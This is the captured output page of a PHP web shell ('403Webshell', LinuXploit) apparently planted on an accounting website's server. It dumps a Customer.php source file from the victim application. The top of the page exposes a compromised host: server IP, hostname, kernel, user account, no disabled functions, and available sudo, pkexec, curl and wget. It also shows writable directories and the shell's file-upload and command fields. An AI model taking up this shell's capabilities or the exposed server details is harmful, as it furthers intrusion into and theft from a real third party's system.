403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/backend-accounting.sk/app/modules/quirk/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/backend-accounting.sk/app/modules/quirk/code/Customer.php
<?php

/*
 * Click nbfs://nbhost/SystemFileSystem/Templates/Licenses/license-default.txt to change this license
 * Click nbfs://nbhost/SystemFileSystem/Templates/Scripting/PHPClass.php to edit this template
 */

namespace modules\quirk\code;

/**
 * Description of Customer
 *
 * @author maros
 */
class Customer extends ExtendedUser {

    /**
     * @return ?\modules\dpfob\code\DPFOB
     */
    public function getLastDPFOB() {
        try {
            $id = $this->db->getValue("SELECT id FROM dpfob WHERE users_id=:users_id AND state=:ACTIVE ORDER BY id DESC", [
                'users_id' => $this->_get('id'),
                'ACTIVE' => \app\constants\State::ACTIVE,
            ]);
            return new \modules\dpfob\code\DPFOB($id);
        } catch (\Exception $ex) {
            return null;
        }
    }

    /**
     * @return \app\classes\PDOCollection
     */
    public function getDPFOBs() {
        return new \app\classes\PDOCollection('dpfob', 'id', 'SELECT * FROM dpfob WHERE (state=:ACTIVE OR state=:ARCHIVED) AND users_id=:users_id ORDER BY id DESC', [
            'ACTIVE' => \app\constants\State::ACTIVE,
            'ARCHIVED' => \app\constants\State::ARCHIVED,
            'users_id' => $this->_get('id'),
        ]);
    }

    /**
     * @return ?\modules\dpfob\code\DPFOB
     */
    public function getDPFOB($id, $idColumn = 'id') {
        $item = new \modules\dpfob\code\DPFOB($id, $idColumn);
        if ($this->user->_get('id') !== $item->_get('users_id')) {
            throw new \Exception('Nemáte oprávnenie vykonať túto akciu pre DPFO B ' . $item->getPublicId(), \app\constants\HttpReponseCodes::HTTP_BAD_REQUEST);
        }

        return $item;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit